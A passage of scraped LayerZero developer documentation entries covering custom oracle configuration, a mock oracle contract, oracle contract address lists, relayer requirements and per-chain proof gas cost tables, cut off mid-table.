- "body": "Configuring Custom Oracle Learn how to seamlessly set up and integrate a new Oracle for your User Application (UA). This tutorial provides a step-by-step guide on setting a new Oracle for your User Application (UA). Understanding Oracle Configuration In LayerZero, Oracle configurations help enable smooth messaging across chain pathways. A chain pathway represents a connected route that utilizes both the Oracle and Relayer to facilitate message routing between blockchains. 1. Consistent Oracle Configuration: It's essential to ensure that the same Oracle provider is present on both the source and destination chains. This uniformity guarantees that messages can be reliably sent and received in both directions on the pathway. 2. Payment and Delivery Logic: If you're paying Oracle A on the source chain, you'd expect Oracle A to also handle the delivery on the destination chain. Hence, if Oracle A is available on both chains, it can be used in both directions. On the other hand, if Oracle A is only present on one chain, you'd need to opt for an alternative that's supported on both chain directions. Remember, the objective is to ensure that the Oracle setup supports the chain pathways, as they are the conduits for message routing. This is vital for efficient, error-free cross-chain communication. Prerequisites You should have an LZApp to start with that's already working with default settings. While we use OmniCounter in this tutorial, any app that inherits LZApp.sol (including the OFT and ONFT standards) can be used. In order to set a new Oracle, all a user will need to do is call the setConfig function on Chain A and Chain B. Below is a simple example for how to set your Oracle, using the Ethereum Goerli and Optimism Goerli Testnets. Example: Setting an Oracle using Ethereum Goerli and Optimism Goerli Testnets 1. Deploying OmniCounter After deploying OmniCounter on both Goerli and OP-Goerli, ensure that: You've correctly called setTrustedRemote . The incrementCounter function works by default on both contracts. // SPDX-License-Identifier: MIT pragma solidity ^ 0.8.0 ; pragma abicoder v2 ; import \"https://github.com/LayerZero-Labs/solidity-examples/blob/e43908440cefdcbc93cd8e0ea863326c4bd904eb/contracts/lzApp/NonblockingLzApp.sol\" ; /// @title A LayerZero example sending a cross chain message from a source chain to a destination chain to increment a counter contract OmniCounter is NonblockingLzApp { bytes public constant PAYLOAD = \"\\x01\\x02\\x03\\x04\" ; uint public counter ; constructor ( address _lzEndpoint ) NonblockingLzApp ( _lzEndpoint ) {} function _nonblockingLzReceive ( uint16 , bytes memory , uint64 , bytes memory ) internal override { counter += 1 ; } function estimateFee ( uint16 _dstChainId , bool _useZro , bytes calldata _adapterParams ) public view returns ( uint nativeFee , uint zroFee ) { return lzEndpoint . estimateFees ( _dstChainId , address ( this ), PAYLOAD , _useZro , _adapterParams ); } function incrementCounter ( uint16 _dstChainId ) public payable { _lzSend ( _dstChainId , PAYLOAD , payable ( msg . sender ), address ( 0x0 ), bytes ( \"\" ), msg . value ); } } 2. Setting a New Oracle To modify your UA contracts, you'll need to invoke the setConfig function. This can be done directly from a verified block explorer or using scripting tools. In this tutorial, we'll demonstrate using Remix. Here's how to set the Oracle for the Goerli OmniCounter using the Goerli TSS Oracle address, 0x36ebea3941907c438ca8ca2b1065deef21ccdaed : 1 let config = ethers . utils . defaultAbiCoder . encode ( 2 [ \"address\" ], 3 [ \"0x36ebea3941907c438ca8ca2b1065deef21ccdaed\" ] // oracleAddress 4 ) 5 await lzEndpoint . setConfig ( 6 0 , // default library version 7 10132 , // dstChainId 8 6 , // CONFIG_TYPE_ORACLE 9 0x00000000000000000000000036ebea3941907c438ca8ca2b1065deef21ccdaed // config 10 ) This process should be repeated on both the source and destination contracts. Ensure you adjust the _dstChainId and oracleAddress based on the contract's location. For instance, on OP Goerli, use the OP Goerli TSS Oracle Address and set the destination chain to 10121 for Goerli ETH. In Remix, passing these arguments will show the following: 3. Checking Oracle Configuration To ensure your Oracle setup is correctly configured: Navigate to the Block Explorer : Go to your chain's Endpoint Address on the designated block explorer. Access the Contract Details : Click on \"Read Contract\". Here, you should see an option labeled defaultReceiveLibraryAddress . Select it to navigate to LayerZero's UltraLightNode. Query the UltraLightNode Contract : getConfig : This returns the current configuration of your UA Contract. defaultAppConfig : This gives the default configuration based on the latest library version. To use this, you'll need to provide the _dstChainId parameter. View the Oracle Parameter For the defaultAppConfig , simply pass the _dstChainId and observe the returned oracle parameter. For the getConfig , pass the _dstChainId , your UA Contract Address, and set the constant CONFIG_TYPE_ORACLE to 6 . Compare Oracle Addresses : At the time of writing this tutorial, TSS is the default testnet Oracle. Therefore, if you haven't made any changes, both getConfig and defaultAppConfig should return identical Oracle addresses. However, if you've opted for a different Oracle from the current default, the two queries should return different Oracle addresses. Understanding Query Results: You might notice a difference in how the queries present the Oracle: defaultAppConfig : This query returns the Oracle as an address. getConfig : In contrast, this displays the Oracle as a bytes value. However, don't be alarmed by this variation. If the only discrepancy between the two results is the presence of '0' padding, then both queries are referencing the same Oracle. 4. Testing Message Delivery Validate your Oracle setup by calling incrementCounter . The protocol should now reflect your custom Oracle configuration and be capable to send messages in both directions. Congratulations on your successful configuration! A successful oracle configuration will not impact message delivery. Troubleshooting Encountering a FAILED message status on LayerZero Scan? This likely points to a misconfiguration of the oracle address on either one or both contracts. A failed oracle configuration will impact message delivery. Ensure you're using the local oracle address (i.e., the same chain as your UA) when invoking setConfig . Double-check the dstChainId you're passing. For further customization, refer to the UA Custom Configuration documentation. Previous Default Oracle Updates Next Develop an Oracle Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Default Oracle Updates", - "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle/default-oracle-updates", - "body": "Default Oracle Updates Keep up to the date with the latest Oracle for Default User Applications (UAs). By default, UAs opt into the LayerZero Protocol library updates. These updates generally bring improvements and changes to the reliability of the protocol's generic messaging. These libraries are append-only, meaning that previous versions will always be available for UAs that decide to not use the default config. Opting Out of Defaults For UAs that want to fully control or lock their Oracle properties, see UA Custom Configuration to learn more. Locking UA configuration guarantees that only UA owners can change their LZ app configs; UAs that opt-in to LayerZero defaults accept LayerZero's future changes to default configurations (i.e. best practice changes to block confirmations & proof libraries etc.) Projects with custom configuration will not have any impact on their settings, but are free to reconfigure settings back to Defaults or to any other Oracle at any given time. Google Cloud Oracle (default as of 9/19/23) Google Cloud (GCP) provides a Google Cloud Oracle to secure messaging in the LayerZero Protocol. The Google Cloud Oracle is the default Oracle for all dApps built using the LayerZero protocol. Enterprises and developers of all sizes can now rely on the combination of an established entity (GCP) and a leading Web3 company (LayerZero) to address their interoperability challenges. That said, each Oracle provides unique costs and benefits. UAs are encouraged to select the best Oracle that suits their needs. Ecosystem - Previous Oracle Next Configuring Custom Oracle Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Develop an Oracle", - "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle/develop-an-oracle", - "body": "Develop an Oracle Get paid to perform one of the roles in the LayerZero system. Oracle Specification Performing the job of an Oracle means moving a piece of the message data from one chain and storing it in another. Please refer to our Oracle Specification document to learn more. Two of the primary requirements for operating an Oracle (per-chain): Deploy and maintain balances in your own contract. Implement and operate a system that can submit data from Chain A to Chain B. In this gitbook, we wont get into the details of the implementation of an Oracle because the LayerZero relies on other ecosystem parters. We do however expose some example solidity contracts to demonstrate the contractual portion of a simple Oracle on an EVM: ILayerZeroOracle.sol See the LayerZero Oracle contract interface . LayerZeroOracleMock.sol Heres the Oracle we use for internal testing: // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6 ; import \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" ; import \"@openzeppelin/contracts/access/Ownable.sol\" ; import \"../interfaces/ILayerZeroOracle.sol\" ; import \"../interfaces/ILayerZeroUltraLightNodeV1.sol\" ; contract LayerZeroOracleMock is ILayerZeroOracle , Ownable , ReentrancyGuard { mapping ( address => bool ) public approvedAddresses ; mapping ( uint16 => mapping ( uint16 => uint )) public chainPriceLookup ; uint public fee ; ILayerZeroUltraLightNodeV1 public uln ; // ultraLightNode instance event OracleNotified ( uint16 dstChainId , uint16 _outboundProofType , uint blockConfirmations ); event Withdraw ( address to , uint amount ); constructor () { approvedAddresses [ msg . sender ] = true ; } function notifyOracle ( uint16 _dstChainId , uint16 _outboundProofType , uint64 _outboundBlockConfirmations ) external override { emit OracleNotified ( _dstChainId , _outboundProofType , _outboundBlockConfirmations ); } function updateHash ( uint16 _remoteChainId , bytes32 _blockHash , uint _confirmations , bytes32 _data ) external { require ( approvedAddresses [ msg . sender ], \"LayerZeroOracleMock: caller must be approved\" ); uln . updateHash ( _remoteChainId , _blockHash , _confirmations , _data ); } function withdraw ( address payable _to , uint _amount ) public onlyOwner nonReentrant { ( bool success , ) = _to . call { value : _amount }( \"\" ); require ( success , \"failed to withdraw\" ); emit Withdraw ( _to , _amount ); } // owner can set uln function setUln ( address ulnAddress ) external onlyOwner { uln = ILayerZeroUltraLightNodeV1 ( ulnAddress ); } // mock, doesnt do anything function setJob ( uint16 _chain , address _oracle , bytes32 _id , uint _fee ) public onlyOwner {} function setDeliveryAddress ( uint16 _dstChainId , address _deliveryAddress ) public onlyOwner {} function setPrice ( uint16 _destinationChainId , uint16 _outboundProofType , uint _price ) external onlyOwner { chainPriceLookup [ _outboundProofType ][ _destinationChainId ] = _price ; } function setApprovedAddress ( address _oracleAddress , bool _approve ) external { approvedAddresses [ _oracleAddress ] = _approve ; } function isApproved ( address _relayerAddress ) public view override returns ( bool ) { return approvedAddresses [ _relayerAddress ]; } function getPrice ( uint16 _destinationChainId , uint16 _outboundProofType ) external view override returns ( uint ) { return chainPriceLookup [ _outboundProofType ][ _destinationChainId ]; } fallback () external payable {} receive () external payable {} } Previous Configuring Custom Oracle Next Google Cloud Oracle Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Google Cloud Oracle", - "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle/google-cloud-oracle", - "body": "Google Cloud Oracle Contract Addresses to use Google Oracle with LayerZero The Google Oracle, as of 9/19/23, is the default oracle configuration for LayerZero messaging. Mainnet Addresses Ethereum: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc BNB: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Avalanche: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Polygon: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Arbitrum: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Optimism: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Fantom: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Gnosis: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Base: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Harmony: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Moonbeam: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Celo: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Arbitrum Nova: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Linea: 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc Previous Develop an Oracle Next TSS Oracle Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Overview of Polyhedra zkLightClient", - "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle/overview-of-polyhedra-zklightclient", - "body": "Overview of Polyhedra zkLightClient Integration of zero-knowledge proof technology will enhance security, performance, and cost-efficiency for cross-chain interoperability on all chains supported by LayerZero Polyhedra Network is building the next generation of infrastructure for Web3 interoperability by leveraging advanced zero-knowledge proof (ZKP) technology, a fundamental cryptographic primitive that guarantees the validity of data and computations while maintaining data confidentiality. The Polyhedra Network team designed and developed Polyhedra zkLightClient technology, a cutting-edge solution built on LayerZero Protocol, providing secure and efficient cross-chain infrastructures for Layer-1 and Layer-2 interoperability. Previous Chainlink Oracle Next zkLightClient on LayerZero Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "TSS Oracle", - "html_url": "https://layerzero.gitbook.io/docs/ecosystem/oracle/tss-oracle", - "body": "TSS Oracle Contract Addresses to use TSS Oracle with LayerZero To use the TSS oracle with your LayerZero UserApplication, configure your app with the addresses below. TSS Oracle Mainnet Addresses Ethereum: 0x5a54fe5234e811466d5366846283323c954310b2 BNB: 0x5a54fe5234e811466d5366846283323c954310b2 Avalanche: 0x5a54fe5234e811466d5366846283323c954310b2 Polygon: 0x5a54fe5234e811466d5366846283323c954310b2 Arbitrum: 0xa0cc33dd6f4819d473226257792afe230ec3c67f Optimism: 0xa0cc33dd6f4819d473226257792afe230ec3c67f Fantom: 0xa0cc33dd6f4819d473226257792afe230ec3c67f DFK: 0x88bd5f18a13c22c41cf5c8cba12eb371c4bd18d9 Harmony: 0x3e2ef091d7606e4ca3b8d84bcaf23da0ffa11053 Moonbeam: 0xdeef80c12d49e5da8e01b05636e2d0c776f6b78d Celo: 0x071c3f1bc3046c693c3abbc03a87ca9a30e43be2 Dexalot: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb Fuse: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb Gnosis: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb Metis: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb Klaytn: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb CoreDAO: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb OKX (OKT): 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb Goerli: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb Dos: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb Sepolia: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb zkSync: 0xcb7ad38d45ab5bcf5880b0fa851263c29582c18a Polygon zkEVM: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb Moonriver: 0x84070061032f3e7ea4e068f447fb7cdfc98d57fe Shrapnel: 0xa6bf2be6c60175601bf88217c75dd4b14abb5fbb Tenet: 0x282b3386571f7f794450d5789911a9804FA346b4 Nova: 0x37aaaf95887624a363effB7762D489E3C05c2a02 Canto: 0x377530cdA84DFb2673bF4d145DCF0C4D7fdcB5b6 Meter: 0x51A6E62D12F2260E697039Ff53bCB102053f5ab7 Kava: 0xAaB5A48CFC03Efa9cC34A2C1aAcCCB84b4b770e4 Base: 0xAaB5A48CFC03Efa9cC34A2C1aAcCCB84b4b770e4 Linea: 0xcb566e3B6934Fa77258d68ea18E931fa75e1aaAa Mantle: 0xAaB5A48CFC03Efa9cC34A2C1aAcCCB84b4b770e4 Zora: 0xcb566e3B6934Fa77258d68ea18E931fa75e1aaAa Telos: 0x4514FC667a944752ee8A29F544c1B20b1A315f25 Meritcircle: 0xcb566e3B6934Fa77258d68ea18E931fa75e1aaAa Aptos: 0x12e12de0af996d9611b0b78928cd9f4cbf50d94d972043cdd829baa77a78929b TSS Oracle Testnet Addresses Ethereum: 0x36ebea3941907c438ca8ca2b1065deef21ccdaed BNB: 0x53ccb44479b2666cf93f5e815f75738aa5c6d3b9 Avalanche: 0x92cfdb3789693c2ae7225fcc2c263de94d630be4 Polygon: 0xaec5e56217a963bde38a3b6e0c3cb5e864450c86 Arbitrum: 0x9e13017d416cdf0816bccac744760dd1c374cd20 Optimism: 0x97597016f7dac89e55005105fc755c0513973fa8 Fantom: 0x9b743b9846230b657546fb942c6b11a23cfecd9a DFK: 0x7cfb4fadedc96793f844371d8498f4fdcd37da61 Dexalot: 0xab38efc6917086576137e4927af3a4d57da5f00c Moonbeam: 0xa85bfaa7bec20e014e5c29cb3536231116f3f789 Harmony: 0xb099d5a9652a80ff8f4234bde00f66531aa91c50 Celo: 0x894a918a9c2bfa6d32874e40ef4bba75b820b17c Fuse: 0x340b5e5e90a6d177e7614222081e0f9cdd54f25c Klaytn: 0xd682ecf100f6f4284138aa925348633b0611ae21 Metis: 0xd682ecf100f6f4284138aa925348633b0611ae21 CoreDAO: 0xb0487596a0b62d1a71d0c33294bd6eb635fc6b09 Gnosis: 0xd682ecf100f6f4284138aa925348633b0611ae21 zkSync: 0x2DCC8cFb612fDbC0Fb657eA1B51A6F77b8b86448 OKX (OKT): 0xd682ecf100f6f4284138aa925348633b0611ae21 Linea: 0x00c5c0b8e0f75ab862cbaaecfff499db555fbdd2 Base: 0x53fd4c4fbbd53f6bc58cae6704b92db1f360a648 Sepolia: 0x00c5c0b8e0f75ab862cbaaecfff499db555fbdd2 Meter: 0x0e8738298a8e437035e3aebd57f8dddc1a1bc44a Polygon zkEVM: 0x00c5c0b8e0f75ab862cbaaecfff499db555fbdd2 Kava: 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff Tenet: 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff Canto: 0x3aCAAf60502791D199a5a5F0B173D78229eBFe32 Aptos: 0x47a30bcdb5b5bdbf6af883c7325827f3e40b3f52c3538e9e677e68cf0c0db060 Meritcircle: 0x3aCAAf60502791D199a5a5F0B173D78229eBFe32 Mantle: 0x45841dd1ca50265Da7614fC43A361e526c0e6160 Zora: 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff Loot: 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff Telos: 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff Tomo: 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff opBNB: 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff Shimmer: 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff Aurora: 0x6C7Ab2202C98C4227C5c46f1417D81144DA716Ff Lif3: 0x45841dd1ca50265Da7614fC43A361e526c0e6160 Previous Google Cloud Oracle Next Chainlink Oracle Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Develop a Relayer", - "html_url": "https://layerzero.gitbook.io/docs/ecosystem/relayer/develop-a-relayer", - "body": "Develop a Relayer To run your own Relayer, follow these high level requirements for each chain: Deploy and maintain a contract that implements ILayerZeroRelayerV2 interface. A reference Relayer implementation can be found here . Make sure your Relayer contract has access to up-to-date gas price information for all destination chains in order to accurately estimate transaction delivery fees. Configure your application to use your custom Relayer contract by calling setConfig in Endpoint contract. More information about setting a custom configuration can be found here . Have access to your own nodes RPC + WS (or rely on one or more providers). Maintain and balance wallets used for delivering messages/payloads. Create an off-chain service that listens to Packet event emitted by UltraLightNodeV2 on the source chain, waits for the configured number of confirmations and calls validateTransactionProof in UltraLightNodeV2 on the destination providing data from the event and the transaction proof. A reference implementation of transaction proof generation can be found here Off-chain Relayer is implementation agnostic. As long as it performs the core function of delivering the message, the implementation is open to interpretation and can be modified. Previous Overview Next LayerZero Relayer Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "LayerZero Relayer", - "html_url": "https://layerzero.gitbook.io/docs/ecosystem/relayer/layerzero-relayer", - "body": "LayerZero Relayer The Relayer run by LayerZero Labs and reference implementation. User Applications that opt in to the default configuration will use the LayerZero Labs Relayer. LayerZero Labs runs and maintains a Relayer as a production asset for the ecosystem. Gas Convention The LayerZero Relayer assumes only a base gas for destination contract call, e.g. 200k gas for a call on Ethereum. It will only be enough for very simple applications. If your app requires more gas, please use the adapter parameters specified here. Previous Develop a Relayer Next Max Proof Cost Estimate Last modified 1mo ago", - "labels": [ - "Documentation" - ] - }, - { - "title": "Max Proof Cost Estimate", - "html_url": "https://layerzero.gitbook.io/docs/ecosystem/relayer/max-proof-cost-estimate", - "body": "Max Proof Cost Estimate Ethereum Block hash: 0x26aa36d95218cabf8a7fa99ab30a3036176f35770135c9247beaf95df7a3bd1e Transactions: 24 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 61174 99524 84373 24 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Block hash: 0x0752d5256a7d45734130b4ec6beb94a0c602fe687788dc513270c64c918e2aad Transactions: 5 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 68313 90113 82194 5 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Block hash: 0x00bd18eff5cf2aa23f5625a65776e57bdb8d570849f822be20011b03eff7f515 Transactions: 77 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 62892 182571 93588 77 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Block hash: 0xb0857894026c1b5c9e93d632b2ddb574723ba1be37f7f5341c4152a4669acc2e Transactions: 146 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 87385 156948 101622 146 - \u0000 | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Block hash: 0xad903a6a1ae4a8c4e504d2441ff5f41247276d5db627e06dd9d0abb10bc1a608 Transactions: 231 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 80559 240303 114792 231 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Avalanche Block hash: 0x4a2fa85017155bc19f133a1039a1316f5a7bd28544c5e24b702907a9a403fb20 Transactions: 15 arbiscan link: https://snowtrace.io/block/11010359 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods \u0000 | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 56104 126950 94761 15 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Block hash: 0x40d05100055202d5ec8a2347703ae231a76070c93e65084642d25939955a8186 Transactions: 7 arbiscan link: https://snowtrace.io/block/11010351 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | \u0000 | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 56080 104739 89506 7 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Block hash: 0xbbaab14f777b123a214be3c7706bc9cd587ce41908245a256ec309f6c42c72dc Transactions: 54 arbiscan link: https://snowtrace.io/block/11010459 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 57678 125721 93626 54 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Block hash: 0xdf0759292a69988b88e04b65352c447488522bd0a795988cbfb1a37354f70a87 Transactions: 62 arbiscan link: https://snowtrace.io/block/11008999 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 84712 265574 91252 62 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Block hash: 0x8457411b586c7844172b9aecd66be5e81ad7386cac48ee37a90d5c6a554dc724 Transactions: 36 arbiscan link: https://snowtrace.io/block/11007767 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 57130 162222 100705 36 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Binance Smart Chain Block hash: 0x0eab559e2907f57c799a7d0c7f8c19566061b64b0f770ee26e343abe60918714 Transactions: 108 arbiscan link: https://bscscan.com/block/15315394 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 59252 220283 104817 108 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Block hash: 0x3e40e118a9d2b04582847b02d245375aaf0c047a2257a1242dff741d1045e5f7 Transactions: 90 arbiscan link: https://bscscan.com/block/15315375 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | \u0000 | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 63501 175032 102260 90 - | \u0000 | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Block hash: 0xea2560a73df07d39c2f16bf8f2a167d61f88ab9897a0d96483471e1252114a05 Transactions: 99 arbiscan link: https://bscscan.com/block/15316129 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 64086 175450 107524 99 - | \u0000 | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Block hash: 0x72656b7c47227f87bdfd67d3a96de84aba761fbfc884ece6f7c90b49cadaf5ec Transactions: 216 arbiscan link: https://bscscan.com/block/15315774 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 86135 283471 122172 216 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052946 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Block hash: 0xd083d890b4aeff1888236572c8a7c45f01c88dfbeb36dd119a32cbe754b6f942 Transactions: 143 arbiscan link: https://bscscan.com/block/15315757 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 87361 216799 107376 143 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052946 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Polygon Block hash: 0x9b5778164dc8ae2724350a7614d619e886777a9d438b0157a25702541aab20cb Transactions: 38 polygonscan link: https://polygonscan.com/block/25018717 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 64540 189234 113970 38 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Block hash: 0x226a10daf095bcc36fb59c7629128f95370a15f512cb4613e6253bc3bc0d4b37 Transactions: 78 polygonscan link: https://polygonscan.com/block/25019837 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 65542 341630 114085 78 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Block hash: 0xf15823bce9f3f660fc14c82e3538bc92a9c76091e7c080efc5d0c73a77a07d5b Transactions: 28 polygonscan link: https://polygonscan.com/block/25020548 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 68238 166723 102890 28 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | ------------- | --------------- | ------------- Block hash: 0x3ede1d93dd20267922ec7a008d651768bb20f5b2ee572c8efc30e152715df942 Transactions: 110 polygonscan link: https://polygonscan.com/block/25020699 -------------------------------- | --------------------------- | ------------- | ----------------------------- | Solc version: 0.7 .6 Optimizer enabled: true Runs: 200 Block limit: 10000000 gas | | | | Methods | | | | | | | Contract Method Min Max Avg # calls usd (avg) | | | | | | | ProverMock verifyReceipt 76092 301332 111493 110 - | | | | | | | Deployments % of limit | | | | | | ProverMock - - 1052934 10.5 % - -------------------------------- | ------------- | ------------- | 